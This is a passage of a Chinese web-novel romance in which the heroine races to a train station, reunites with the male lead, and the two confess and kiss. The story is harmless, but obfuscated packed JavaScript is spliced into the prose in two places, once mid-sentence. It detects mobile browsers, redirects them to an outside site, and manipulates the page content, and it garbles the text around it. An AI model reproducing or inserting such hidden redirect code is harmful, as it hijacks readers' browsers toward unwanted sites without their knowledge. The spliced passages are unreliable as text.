一颗比一颗更小的雨点轻飘飘缀在车窗,好似在嘲笑。 池映雪的上下虎牙轻轻相磨,到雨停那刻,很猝然地勾起唇角。 她和池静俭打过招呼,在一车人措手不及时打开车门,轻盈地跳下去。 白色的公主裙在雨后湿润闷热的空气里飞扬。 池映雪跨到大桥边的人行道,用腕上闪闪发亮的宝石手链扎起头发,边转动脚踝边打开地图,搜索步行去南城南站的路线。 手机这几天没充电,刚打开就显示低电量预警。 池映雪仅扫几眼,全部路线遍烂熟于心。 很巧。 从现在的位置跑到最近的公交车站,正好三千米。 车站好打车。打车不行就公交,地上堵车就坐地铁。 就算全部用脚跑,一个半小时正好足够。 系统弱弱地想:总长十来千米,人家马拉松运动员跑一个半小时是绰绰有余,可宿主…… 算了。 它又不是第一天认识池映雪。 她又不是第一天这么倔。 江河之上的人行道。粉橘色晚霞早已远去。乌云散尽,渲染漫天的蓝调。 深沉的宝蓝色下,大桥两边灯火通明,宛如一盏盏人造的橘子海。左边是停滞不前的刺眼车灯,右边是隔着铁围栏的沿江线。 灯光点亮眼前的路。池映雪飞快地踩过一道又一道路灯的影,越靠近尽头路就越乱,她跑得越快。 晚风拂面。 过耳有声,间或响起不耐烦的鸣笛。马尾左右甩动。 没有手机,池映雪每跑一步就在心里记一次时。 还有一小时二十分钟。 水坑沾湿鞋子和小腿,不知道有没有溅到纯白色裙摆。池映雪毫不在意,风灌进来,像蝴蝶推着她向前奔去。 一小时十分钟。 三千米结束,比运动会更累 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13959202|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。池映雪跑到最近的公交站点,车来车往,幸好路不算堵。不知道李闻蝉现在有没有向高铁站出发。 一小时。 池映雪终于挤上公交。她戴有助听器,这几天没充电,已经停止工作了,只是忘记摘掉。 有人给她让座。池映雪刚跑完不敢坐,摆摆手婉拒对方的善意。 不敢想现在的样子有多狼狈,但池映雪想,只要有一个会说漂亮就没关系。他肯定会那么说。 半小时。 池映雪顺利换乘第二趟公交。这里终于有现成的座位,池映雪的呼吸也恢复正常了,拖着酸麻的双腿坐下。 这下有空来梳理之前的疑问:“统,你说……我解锁的那个池鲤鲤视角,是什么意思?” 李总。 李总呀…… 前面的座位没人,池映雪双手搭在椅背上,额头轻轻贴上手背,“那个世界,也会是他吗?” 系统也不知道。 它觉得这个消息背后大有深意,但它的小脑瓜不足以运转出来。 公交在医院前停下。池映雪跟随人流起身,扫码下车:“不过,不重要。” 其余行人都绕道走的近路上,鞋尖再次踏过积水,小小的烟花在白裙之后飞溅。 重要的不是命运如何将我们书写。 是我会在既定的命运里出逃,用尽全力跑向你。 然后,我们私奔。 十五分钟。 池映雪乘上地铁。 六月十八日,给毕业生的祝福语还在播报。 她不会把他弄丢的。 哐啷。 很响一声。 前面的车厢哄乱起来,擦肩而过的人低声骂:“这车哪里实习生开的啊?门不开,车也不动……” 十分钟。 地图里五分钟两站,现在才驶过一站。 池映雪踮了踮脚尖,抬眼紧盯玻璃车门外流逝而过的梧桐树群。 堵车可以下车,但地铁的门绝不会中途打开。 系统已经缩成一团不敢看。池映雪握紧扶杆,虎牙紧紧相抵。 奇迹还会降临吗? 雨滴自梧桐叶落下。 像来自遥远时空的一片雪花,一粒眼泪,一小撮烟灰,一滴吊水瓶中缓缓的下坠。 系统喵的尖叫了一声:[宿主!高铁因为天气延误了,最长会停留十五分钟!!] 五分钟。 紧急的时候,头脑反而最清醒。池映雪对系统喃喃:“我想起来一件很重要的事。” 谢恩雅曾经告诉过池映雪有关李闻蝉的秘密。 她说了两个。池映雪的全部注意力一度被后一个吸引走,忽略了前一件人尽皆知的事。 谢恩雅:“你知道我最喜欢李闻蝉什么吗?不光因为他救了我,还有就是他虽然一看就矜贵卓群,但从来不和圈里别的少爷一样摆架子。甚至他有些……太过寻常了。” “我的意思是,人群里一眼就能望见他,但他这样的人,居然会愿意挤在人群里面。”谢恩雅评价,“豪门少爷坐地铁、吃肯爷爷、买黑白配和随处可见的棒棒糖……我第一次发现的时候就在想,比起万众瞩目、衣食住行都有专人服侍,李闻蝉是不是更喜欢这样有烟火气的氛围。” 没有什么,就会向往什么。 池映雪向往主角。 为什么她就认定主角……不会向往摘掉光环后的人生呢? 晚八点十三分。最后一分钟。 秒针还剩一个圆,倒计时60秒。 李闻蝉放下手臂,凝视近在眼前的车门。 站台的人已经稀少,每个人都能看清,没有一个是心里面的面孔。 韩潇:“八点早过了。十五准时开,还等么?” 李闻蝉双手揣在兜里:“等到车门关的那一刻。” 45秒。30秒。 池映雪已经过完一系列检查,在站内狂奔。 手心的车票被攥到变形。 拜托。 池映雪呢喃:“拜托。” 系统本来在闭目祈祷,闻言眼睛睁得老大。她、她的声音…… 乘车的露天站台就在楼上。15秒。池映雪嫌电梯太慢,跨上左边的楼梯。 最后一节台阶。 最后一秒。 轰隆。 ——轰隆。 列车在眼前呼啸而过。 对面的另一趟车开始进站。人潮转瞬间涌进来,一片山,一片海。 池映雪轻飘飘地挤出去,在山海的对面,空荡的轨道前蹲下。 手机屏幕里的“14”刚刚变为“15”,电量只剩最后一格。 耳畔的吵嚷声十分清晰。小孩子跑过,大人走过,老人拖着沉重的脚步,麻布袋在地面蹭着走。 行李箱滚动,滚动。这么多声音。 没有池映雪想听见的声音。 眼泪滴在屏幕上,代替了手指,按下最后那道播放键。 “是擦身相遇或擦肩而去,命运犹如险棋……” “…………然而此刻拥有你。某一天某一刻某次呼吸。” 少年清冽的歌声在电流中戛然而止。 可池映雪记得下一句。 我们终将再分离。 池映雪埋着头,没有看屏幕,估计是没电关机了。 鼎沸的脚步声在半分钟内就从她周围散开,奔向各自的车厢。 偶然有一道脚步声很慢很慢地踱来,池映雪哭得越来越大声,根本没有在意。 “某一天某一刻某次呼吸,我们不会再分离。” 熟悉的声线。 淡淡的,清清闲闲。音色冷,咬字却柔和。 手机又在重新播放吗?池映雪才不想管。 “而我的自传里终将有你,没有遗憾的诗句。” 清冷里带点软糯的哭声停下来。 ——这是清唱。 而歌词,被改了。 “如果我们不曾相遇……” 头顶落下一声很明媚的笑,像露天站台外的夜空中心,突然绽开一朵烟花。 “我们不会,不相遇。” “池映雪。” 染着柑橘香的黑色皮衣再次落在白色的公主裙上。 行人来往的站台,星点闪烁的漫天蓝黑下,少年干净、明澈、挺阔。一边梨涡深深。 李闻蝉站在她身前,很轻很轻地说:“抬头。” 数十秒前。 “你是不是不想走了?”韩潇看破说破,“车门已经要关了,大哥。” “说是八点,中途延误等到十五都没来。按理说要真的想来,八点前就该到了。” 李闻蝉靠上身后的墙面,看车门缓缓合上,像想通了什么。 鞋前的空地一直有一点很小的灰尘,李闻蝉抬脚掸开,瞬间神清气爽:“对啊。” “这不是还没到八点么。” 说好要等,就会一直等到那一刻。 韩潇:我瞎了? 李闻蝉抬起手表,气定神闲:“现在是……” 李闻蝉挑起眉,手表对准池映雪仰起的湿哒哒的小脸:“好学生,你怎么也迟到?” 刘海被穿过露天站台的闷热晚风微微吹起来,露出光洁而可爱的额头。 池映雪眨了眨眼,水盈盈,漂亮得胜过满城灯火:“才没有迟到。” “因为现在是,七点七十五。” —正文完— 100. 要不要亲亲。 对面的列车即将启程。 灯光闪烁在空旷的露天站台。夏夜的风混合雨水气息,湿漉漉地沾在睫毛上。 异口同声的话落在温润空气,李闻蝉把池映雪从地上拉起来,没松开手。 声音有些哑:“池小雪同学。” “好久不见。” 没来由地想起异国街头的夜晚。 后一句话还未出口,池映雪突然抬起晶眸:“我想你了。” 清晰。 清亮。坚定。 李闻蝉那句“有没有想我”就这样僵在嘴边。 唇角逗弄的坏笑还没散去,耳垂瞬间爆红,像烈火烹油,浇在暗白剔透的虾上。 红唇嗫嚅,被池映雪机关枪一样的咄咄打了个措手不及。 “李闻蝉,我好想你。” 池映雪的手紧攥住披在肩上的黑皮衣襟,语无伦次:“对不起,我之前利用读心术骗了你。攻略是真的,你是主角而我只是对照组也是真的。我讨厌为了做任务而做任务,讨厌这个不讲道理的世界。讨厌你为什么非要是无cp的男主角。” “但我从来不…我不讨厌任务的对象是你。” “如果没有任务。”池映雪吸了吸鼻子,“……也想和你约会,听歌,私奔。和你一起打伞,画画,一起写卷子。” “但是。” “但是他们说,你这个主角是不可以有恋人的,我不能,我不能自私。那样你就不能是男主角了,怎么办,呜呜……” 缺头少尾的话,李闻蝉居然大致能听懂。 李闻蝉弯下腰,捏了捏池映雪泛红的鼻尖:“不着急,慢慢说,我不会走的。” 池映雪细声细气:“你差点就走了。” ……不对。 李闻蝉肯定比她来得早。 高铁已经开走了呀。 池映雪不哭了,懵懵地盯着李闻蝉:“你怎么还在?” “你还想让我走?” 李闻蝉气笑了,轻轻掐了一把薄粉色的脸蛋:“做梦吧你。” 拇指与食指的指腹相互捻着。好软。 橡皮糖。 池映雪抿着嘴笑。傻乎乎的。 李闻蝉啧了一声,揉动滚烫的耳垂:“我不在这一个月,你变化还挺大。” 笑声像被戳破的泡泡。一秒钟就消失。 池映雪这才想起她现在的样子肯定特别狼狈,刘海估计都不存在了。 还不是怪他。池映雪收下巴,偷掀起眼瞪他。 “……我就说吧。” 李闻蝉别开了目光,很短促一下,又闪动着青涩的光泽,深深凝视回来。 “你的声音,一定很好听。” 池映雪:? ——!!! 池映雪后知后觉地微张开嘴。 她的声音?! 系统终于有闪亮登场的机会:[嘿嘿!宿主刚才千钧一发,所以我没找到机会提醒。] [在宿主还没完全跑上楼的时候……男主大人的好感度,就100%了哦!] 可那时候,李闻蝉连池映雪的人都没见到呢。 池映雪的下巴渐渐仰起来一点,从偷偷瞪变成光明正大地看。眸子越来越亮。 李闻蝉喉结紧了紧,转移回她刚才说的导火索:“至于你说的那些事,我大概懂了,心里面也有预感,只不过被你证实。” 先在心里把池映雪口中制定规则的“他们”臭骂一顿。李闻蝉视线直白:“和之前一样,我还是只有那一个问题。” “你……后来有真心吗?” “不是对男主角,我从来就不稀罕当什么狗屁男主角。”李闻蝉摸摸鼻尖,“是对我。” 对李闻蝉,这个人。 池映雪没有一丝犹豫地重重点头。 李闻蝉的嘴角翘起来,压都压不住,清爽的笑意从喉间溢出,像黑夜里燃烧的太阳,灼得人耳根都烫。 “那就够了。” 他说,“其实我看得出来。” 只是更想听她亲口说。 所以什么要见她不然就去HK全是假的,他就没想过要走。 装。 池映雪噘嘴,又勾起来。 “毕竟……虽然和之前说的那样,后来听你的心声总是断断续续。” 李闻蝉将两只手伸进黑皮衣的口袋,往前稍稍一带,池映雪朝他更近一步。 “但我那天听到了。” 白色长廊里,紫藤花下。 4月3日。池映雪怀里小猫细细的喵声之外,她在心里最后念着。 祝他生日快乐。 李闻蝉抽出手。黑皮衣压在肩上的沉感减少。 池映雪的眼前忽然多了一条亮晶晶的项链,闪烁着润泽的流光,像项链之后那张脸上的双瞳。 李闻蝉郑重其事地为她佩戴,指尖炽热的温度不小心触碰池映雪的后颈。 获得全部的听力只有一点不太妙。 心跳声…… 池映雪的手抬起来,拨开碍事的头发,睫毛颤抖。 太响了。 雨后的虫唱在遥远的绿植丛间骤然冒出。池映雪低眸端详项链的吊坠。 蓝珀和花珀共同雕刻成蝉翼的形状,蓝与橘黄亲密地糅合。 正中心的琥珀不知用了什么工艺,居然像凝结了一朵小小的雪花。 池映雪莫名懂了李闻蝉没说出口的话。 你祝我生日快乐。 既然希望我快乐,那就让我一直留在你身边吧。 雪和蝉是两个季节。但池映雪和李闻蝉不是。 就像项链,画,明信片。用具体的镌刻笔写,跨越被划分好的季节。 明明耳畔响起的是夏夜悠长的蝉鸣。 她却在颈前看见了永不消逝的雪花。 李闻蝉从白T的领口下也抽出一条同样的吊坠,紧握在手心:“我知道你在担心什么。如果是我遇到这种情况,未必不会和你做同样的选择。” “我很开心。”李闻蝉轻盈地笑,“你相信我,把一切讲给我听。” “池映雪,我没有你那么天才,也没你热爱学习。这段时间诚如你看见的那样,我学起来比以前是要多费点功夫。” 少年口吻逐渐染上些轻狂。 “但我这人最擅长的就是赢。” 意气风发:“不要那什么破光环正合我心意,我倒要看看没有主角光环的李闻蝉,能不能继续赢下去。” 这世界已经不再有主角。 池映雪却忽然觉得,这一刻的李闻蝉,比以往任何时刻都更像主角。她的。也是他自己的。 李闻蝉:“而且比起其他所有的一切。” “我更不能没有池映雪。” 池映雪哼了一声:“就说你是笨蛋了。” “笨蛋怎么了。” “聪明人赢得利益,那就让聪明人当无所不能的大男主去吧。” 笨蛋,是会拥有整个世界的。 李闻蝉低下头,捧起池映雪的脸:“毕竟我是,池映雪主义嘛。” 雪花。 从称呼凝结为琥珀,又从锁骨跳跃到额头。 柔软的炽热,宛如一片雪落在上面。 ———— 韩潇本来是见不得好友这么没出息的。 一头红发被晚风吹乱,下楼晃了半天,在高铁站内找到一家连锁快餐店,怒吃两盒土豆泥才恢复心情。韩潇叹了口气,打包了全家桶往站台走去。 “哟,港风太子爷!” 韩潇:这声音? 这称呼? 韩潇一脸扭曲地回头,果然看见了万苏瑶胡挚等人,还有满脸焦灼的池静俭。 池静俭:“你们没走?!闻蝉呢?还有你手机怎么也打不通?你们见到小雪了吗?” “我手机这两天坏了呀,不是!”韩潇比他还吃惊,“你们居然来了?池映雪呢?” 一行人面面相觑。下一秒,不约而同地朝与露天站台相连的下行阶梯望去。 高挑和清瘦,无比般配的两道身影肩并肩下楼。 韩潇冒了几句粤语里的语气助词,大脑转过弯来,吹了个口哨:“可以啊!这是在一起了?” 池静俭面沉如水,到底没说什么。 李闻蝉满面的春风被搅合乱,瞪了眼韩潇,咬牙切齿:“预定了。” 那不就是还没有? 池静俭和面瘫被治好一样,笑靥如花,从李闻蝉身边把可爱的妹妹拽走:“小雪乖,今天累了吧?早点回家休息。” 池映雪抿着嘴巴点点头,胡挚凑近她:“怎么不谈啊?我可嗑你俩好久了!” 万苏瑶掐了胡挚一把:“你管人家呢?小雪做什么我都支持!” 池映雪侧眸,正好与李闻蝉目光交汇,在漂亮的眼睛里看见很明显的憋屈。 哼。 池映雪抬起下巴:“……因为我赌输了,答应过某人,好学生不可以早恋。” 坐在回家的车里,李闻蝉才知道最近几天发生的事。 这下再也顾不上什么恋不恋了。李闻蝉如遭雷击、悔不当初、双目通红,只差没把池映雪上上下下盯穿。 池映雪拍拍他:“好啦,我又没有事。” 再说不能怪李闻蝉的。系统已经和池映雪讲过了,这里面有天道从中作梗。 他们可是跨越了万难呢。 池映雪低头笑起来。李闻蝉心疼地看了她一眼。 糟糕。 李闻蝉喉结滚动。 池映雪刚哭过,眼角湿湿的,红红的。难得一连串说了不少话,粉唇微微干涸,在车内昏暗的光线下,看上去尤其…… 好亲。 分明心里还揪着,愧疚和懊恼等各种心情交织在一起,一看见她的人,脑子里却没法不想这事。 李闻蝉瞅了一眼前排的池静俭和韩潇,还有后面的胡挚等人,不得不瘪着嘴望向窗外。 池润这老东西欠收拾了。 是发配到第三世界呢?还是…… 一根小小的手指钻进他随意垂放的手心里。 李闻蝉下意识捉住。双眼慢慢转去,四目相对,唇边梨涡明显。 池映雪的手指向上探去,李闻蝉强忍酥痒,红着耳根深深凝视。 池映雪解开表带,靠过去查看,皱起眉轻声问:“这个挠伤怎么还没好呀?” 李闻蝉不回答她。 池映雪抬起眼皮,被灼人的视线烫到。 李闻蝉轻咳一声,重新把她的手包在手心里。 余光里池静俭专心开车,韩潇和后排那几人呼呼大睡,没人注意到这里,唇角又抬了抬:“谁知道。” “可能只有你上药才能好。” 哪有这样子的。 池映雪瞪了他一眼,晃了晃手,没抽出来,认认真真教育:“以后不要再不当回事了,别人会担心的。” 李闻蝉没有告诉她,他上过药,只是没有好。 只是有这种预感。 李闻蝉眯起眼睛,脑袋偏在靠枕上,俯身低笑:“别人是谁?” 池映雪不理他的坏心思,一句话镇住李闻蝉:“一会洗完澡来我房间。” 老宅里的几位大人还没回来,管家和阿姨他们也放假了。 池静俭防贼一样盯着两个小孩各自回房,终于上楼睡下。 一片寂静的漆黑中,李闻蝉最后整理了一下仪容仪表,保证睡衣一丝丝褶皱和凌乱都不会有,拉开池映雪为他专门留好的房门。 池映雪还在吹头发,李闻蝉坐在书房里等待。 闭眼是吹风机的呼呼声和从浴室飘来的沐浴乳味,睁眼是好久不见的池映雪的字、文具、笔记本。 门被推开。黑发软软地披在肩头,池映雪抱着一个包装好的小礼盒走进来,双手交给李闻蝉,然后立马转身去小仓库里取医药箱。 李闻蝉收回眼,手指慢慢伸向蝴蝶结绑带。 池映雪回来的时候,崭新的护腕已经被李闻蝉戴在手腕。 手表随意扔在一边,不比那19个雕刻成蝉翼形状的吉他拨片摆放整齐。 “……你自己做的吗?”李闻蝉大加赞美一番,眼睛亮亮的,像第一次见到这么稀罕的东西似的,“看来我们真是心有灵犀。” 池映雪想起来系统告诉她,琥珀蝉翼项链也是李闻蝉亲手雕琢。他这一个月嘴上说办手续,实际上还真是在闭关搞创作。 池映雪:“本来那天就要给你的。” 做好很久了。她有些不好意思:“你的19岁生日礼物。” 池映雪听胡挚说过李闻蝉会弹吉他,收到的录音文件里歌曲demo的伴奏应该就是他自己弹的。 李闻蝉呼吸凝滞。 眸光在一刹那变得深邃。他骤然起身,宽阔的书房都显得逼仄:“……等等。” 一去一回,非常快。李闻蝉的行李箱自回来后都没打开过,池映雪眼看他把箱子横放在地上,拉开拉链。 他不是真的要走,那箱子里会装什么? 池映雪对着一箱的房产证和户型图呆若木鸡。 “19个拨片。是像池静俭说的那样,一岁补一片?”李闻蝉抽出16本房产证,声音有点不服气,“其实你生日的时候我也想到了,也准备了另外16个小礼物,结果被那家伙先说出来。哼。” “不过我后来……” 李闻蝉抬眼悄悄打量池映雪的神情,放低声音道,“听见你在心里说,想要一个真正属于自己的家。” 而不是和过去的池家、应家一样,不算“家”,只是暂时能够容她落脚的地方。 所以,他以她的名义买了这些,或者把他的过户。 “你说想去京城或HK,京城那边我留了几套四合院和学区房;然后我这个月在HK考察了这几个小区,都还不错……” 其余的除了几座宜居大都市,全是南城本地的一梯两户房。 一人一户。 成年就打通。 正想得美滋滋的,钥匙却被池映雪递回来。 李闻蝉脸一板,手往身后一背,突然发现她手心里的是备用钥匙。 “……” 喉结上下滚动。两下。 李闻蝉接过钥匙,清响扰乱心脏的轰鸣:“池小雪。” 快点长大吧。 ———— 池映雪以为任务全部完成后,系统就会离开,但是没有。 系统只是消失过一天,又回到她身边。 池映雪当然开心,连最后一点不舍也不必有了,只是觉得系统似乎总是用莫名其妙的眼神瞧她和李闻蝉。 “统。”池映雪戳它,“你是不是知道什么事了?” 系统浑身上下的毛都炸起来,嘴死硬:[不!怎么可能知道你们两个的事!] 池映雪淡淡地笑:“是吗?” 肯定知道。早晚诈出来。 系统别扭了一会,小声道:[宿主……小雪宿主以后不要叫人家系统了,人家是有名字的。] [你叫我泰泰就好。] 池映雪记得这小家伙隐隐表露过,它只会告诉自己的主人真名,而不是宿主。 池映雪没多想,只是有些被认可的开心,顺着系统,不,泰泰那似乎白了一些的毛。 自从知道系统的存在后,李闻蝉就能留意到池映雪时不时的停顿。 几乎不到半秒,想来这也是“系统”的能力。李闻蝉放下笔,点了点池映雪面前的草稿本:“让我看看那个系统给你的攻略任务?” 池映雪正高兴呢,想也不想就让系统调出面板,她抄在草稿纸上。 池映雪挨个抄,李闻蝉挨个对着。 写着写着,池映雪忽然感觉有些危险。抬起眼皮,李闻蝉额角的青筋都冒出来。 “………呵。” “这个‘为彼此歌唱’原来是你的任务?我说你怎么突然在我耳边哼情歌。” 什么情歌! 池映雪双手捧脸,李闻蝉不依不饶,目眦尽裂:“‘讨论童年’居然也是?” “还有这个一起睡觉——” 李闻蝉把草稿本往前一推:“这任务怎么完成的?我们什么时候一起睡觉了?” 池映雪理直气壮:“自习课。” 李闻蝉:“…………” “还有呢?” 池映雪留了个心眼,写任务的时候跳过了“kisskiss”。 结果李闻蝉左看右看,还是不满意:“哦。这个又是任务。” “那个也是任务。” 边说还一边在手边模仿她买来的小本子上唰唰记着什么,不让池映雪看。池映雪唯一一次无意瞥见本子里的内容,是上回和沈星桥一起被齐幂叫去阅卷子,被记了一笔。 他自己要看。 看了又不开心。 池映雪看着李闻蝉从不服转到不甘,还有很多委屈,不由心虚了一下。 这家咖啡厅正在办活动,音乐声不停,所有人的注意力都没在他们这里。池映雪无奈地叹了口气,指尖碰了碰李闻蝉的手。 “干嘛?” 李闻蝉阴阳怪气的:“第五个任务,和男主牵手,不是做完了吗?” 池映雪:“……噢。” 那就不牵了嘛。 指尖沿着桌面溜回,被李闻蝉猛地抓住:“哼。回来。” 两手交叠。 翻面。十指相扣。 另一只手撑着脑袋。李闻蝉弯了弯唇:“……没说不让你牵。” ———— 高三,李闻蝉真的考来了一班。 中游考入,却也没半点松懈,照样坐在了讲台边的“特别关注”座位。 池映雪在高考前几个月顺利拿到校长推荐的名额,保送P大的管院,成为裴景的直系学妹,于是可以一心一意帮李闻蝉复习。 沈星桥索性和她换了座位。 池映雪没想到,沈星桥也保送了——只是和他妈妈规划的商业道路大相径庭。 沈星桥履历优秀,自己报名了P大的强基,听说是数学专业,心仪的导师都联系好了。 听沈星桥说,沈母当时一面让他数竞,一面兼顾学业上年级第一,还得每周练习小提琴和钢琴,时不时去沈家举办的慈善音乐会演奏、接受采访,最后竞赛和第一全都与期望失之交臂。 但他又说,学竞赛是出于被迫,所以成绩一般,可细细想来,被强迫的意愿磨灭了热爱。沈星桥是真的喜欢这门学科,所以第二次敢和母亲抗争,哪怕被骂将来没出息也想试一试。 高考结束那天,池映雪在小群的聚会上听见更多消息。比如池鲤鲤真的离开了家里、今晚就在秦书常去的茶歇厅里演出钢琴; 池润被老爷子用雷霆手段弄到一个小国,池怀元最终选择跟随;万苏瑶觉得自己超常发挥,肯定能考上在京城的传媒大学。 “好像我们的梦校都在京城。”章子健总结,不由轻笑出声,“就连小雪那位姓许的朋友也是。” 池映雪知道他们里有几个人是去哪里都行,只是想和大家待在一起,还是不由点头笑笑:“有缘。” “有缘!”胡挚把玻璃杯举起来,“友谊天长地久——” 池映雪跟着举杯,才发现葡萄汁已经空了。 还没有说,李闻蝉就为她斟上。 玻璃杯轻轻相撞,发出清脆的响:“天长地久。” “……不止友谊。” 李闻蝉晃了晃外套口袋,钥匙链叮呤,“要不要,私奔?” ———— 黑色机车停在虹桥外。 前面就是熟悉的玻璃栈道。夜色里灯火已然亮起,人太多,李闻蝉索性先转身,和池映雪靠在机车上。 可惜现在没有读心术,不然真想听听池映雪,现在在想什么呢。 会不会和他想同一件事。 李闻蝉的读心术,唯一正向作用就是作用在池映雪身上。 李闻蝉莞尔,打了个响指。漫天烟花绽开,池映雪第一次如此清晰地听见花火燃鸣。 像头颅内共颤的心跳。 “你还没有告诉我,你想去哪里。” 池映雪拽了拽李闻蝉的外套。 李闻蝉眸色深深:“你要去哪里,自己还不知道?” 池映雪哼了哼:“我不是说这个。” “京城。” 李闻蝉的智商估计很高,但底子不好,基础不牢固。幸好今年高考数学由某大名鼎鼎的老师命题,难题偏题多,他这类题反而答得漂亮。 池映雪估算了他的分数,王牌可能不行,但其余的应该差不了多少,“P大?什么专业?” 李闻蝉凑近池映雪的耳朵,池映雪忍不住惊讶道:“医学院?” 想想他说的临床方向,又觉得合理。毕竟李闻蝉妈妈就是因为精神和心理问题去世的。 李闻蝉抬头,烟花在眸中流逝,重新燃起。 “……其实还有别的原因。” 池映雪好奇地偏头:“?” 李闻蝉摇摇头:“不知道。就和之前的各种预感一样,心里老有一道声音告诉我,我想去。” 池映雪失笑:“那恐怕是你真的很有兴趣。” “我也觉得应该是这样。” 李闻蝉看向池映雪,半开玩笑半认真道,“所以,盛池还有各种分支,未来就交给小雪老板了。我和你大伯会从旁协助的。” 可是,如果是剧情里那个男主的话,庞大的商业帝国最终会落在他手中吧。 池映雪不在乎公司的事,只是老爷子之前私下托付过她,她也发现自己好像真是做生意的料,所以没有拒绝。 池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13973324|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 映雪看向李闻蝉,最后一丝犹疑也在他眼底的明亮中褪去。 雪形状的烟花还在绽放。一如此刻江畔,今夏无休止的蝉鸣。 池映雪心中一动,慢慢抬起手,覆上李闻蝉的耳朵。 “李闻蝉。” “我好像忘记告诉你一件很重要的事。” 池映雪笑了起来,眼睛比远方桥上的灯火还要清亮:“我一直,都能听见你的声音,从我们第一次见面开始。” 李闻蝉的目光错愕了一瞬,紧接着得意地扬唇:“你看。” “我就说我们是天生一对。” “不止。” 天生不成,也是一对。 池映雪:“所以……你研学旅行那晚看烟花时说的话,我其实全都听见了。” 李闻蝉回忆起那场告白,面上难得一红。 所以她那时就……… “我不知道你当时说,不要让我再看别人是什么意思。但我后来想了想,不太对劲。” 所以要在这里郑重地澄清一下。 “我从来没有……‘看’过你之外的人。” 池映雪感受到李闻蝉呼吸的停滞。 喉结上下滚动,他近来愈发喜欢有这个小动作。 两朵烟花同时绽开。橘色与蓝紫色,将浓颜上的飞红照亮。 池映雪又叫了一遍他的名字:“李闻蝉。” “你要不要亲亲我?” 怦。 ——砰!!! 又一朵巨大的烟花在空中连环燃起,轰鸣之下,李闻蝉纹丝不动。 池映雪都快脸红到无地自容了,闷闷地从旁边拎起HelloKitty头盔,戴上就要跑走。 还没下车,就被李闻蝉捉住手腕,拽好扶稳按在机车上。 冷白色的脸上覆着炽热的红。李闻蝉双手撑车,将池映雪抵住:“别乱动。” 池映雪哪里还管这些。李闻蝉眯起眼,长指不容分说地掀开头盔的护目镜,终于得偿所愿吻上那张唇。 烟花还在放。 更盛大,却落不到有些人的耳朵里,只宛如白噪音,在夜色里安静地厮磨。 kiss。 池映雪稀里糊涂地想,这是一个真正的kiss。 柔软。青涩。湿润。夏夜的温度比任何时候都要高,只有对方是唯一的清凉。 一缕细银丝在橘调的路灯下晶莹泛光。池映雪双手捂脸,靠在李闻蝉肩上,却被他轻缓而熟练地摘下头盔,再次亲上来。 一次。 再一次。 池映雪终于抓住换气的空隙反抗:“……你有完没完!” 李闻蝉挑起眉,出乎她意料,取出那个随身携带的小本子。 随意翻几页就是:x月x日。池映雪欺骗我这个良家少男的感情,壁咚我居然只是做任务。记一吻。 x月x日。池映雪原来给我备注了一颗小爱心,却一直藏着掖着不告诉我,不真诚。记一吻。 x月x日。池映雪和别的男生卿卿我我。备注:不是的,是一起打扫卫生。但那个男生老偷偷看她,池小笨蛋居然都发现不了,岂有此理!记一吻。 ……… 池映雪瞪圆双眼。 怎么会有他这种人! 李闻蝉捻走小本子,将她的碎发别到耳后,揉了揉耳背的肌肤:“不着急。” 池映雪瞪他,李闻蝉笑得愈深:“来日方长,我又不会走,慢慢亲。” “现在,张嘴。” ———— 李闻蝉亲够了,池映雪的嘴也肿了。 他被池静俭来催回家的电话call走,应付那边的暴跳如雷,顺便高调官宣。 池映雪瞪了一眼他的背影,不由升起怀疑。 这家伙到底亲够了没有? 指尖点了点嫣红水润的唇。池映雪脸红红地低头。 ……其实,再来一次也不是不可以。 泰泰终于从马赛克里把自己解放出来,瓮声瓮气:[喵!小雪,我有个礼物要送给你,就当是成人礼啦!] 成人礼? 不在十八岁送,在今晚这个时候送。 池映雪面上又是一红,猛地摇摇头:“谢谢呀,你说。” [你之前解锁完池鲤鲤的视角,正好还剩一万字。男主小传现在有了番外加笔,正好就一万字,你可以全解锁了噢!] 池映雪确实还有不少疑问,愣了一会道:“小传也会有番外吗?” 泰泰神秘兮兮:[……事在人为。] 池映雪让它按下按钮。 李闻蝉这时正好挂断通话,转身走回来。那双漆黑的眼每当望向她的时候,总是明亮灼人,在夜色里熠熠生辉。 池映雪透过它,突然看见了很久以前,地铁玻璃窗外梧桐叶上滴落的雨水。 像雪花,眼泪,一小撮烟灰。 洁白的病房中,吊瓶内有一粒水珠缓缓下坠。 “VIP1床……”医生穿着白大褂,身形朦胧,“生命体征…………暂未苏醒。手术将在三天后进行,家属呢?” “家属马上到。” “每次都是他。”医生难得嘟囔,“李总那么忙,天天都来。就没别的家属吗?” 白芒闪过,银灰反光泛在缓缓合拢的电梯门上。 宽敞的电梯厢内,几个男子均是西装革履,站位也随意。但就是能让人一眼看出谁是这之中的中心人物。 从锃亮的皮鞋开始,每一处衣着都考究,裁剪精美,面料高级。黑色西装下的身材十分清健挺阔,蓝色领带又为他的气质多添一分沉稳。 看见那张得天独厚的脸,更是很难让人不慢一拍心跳。 看不太出年龄,二三十岁都有可能;东方人特征的浓颜,笔挺鼻梁,殷红薄唇,冷白色皮肤映得面容十分冷淡。 另一男子谄媚地笑,递上一根香烟:“闻蝉,你可是伯伯看着长大的,转眼也二十有七了。” 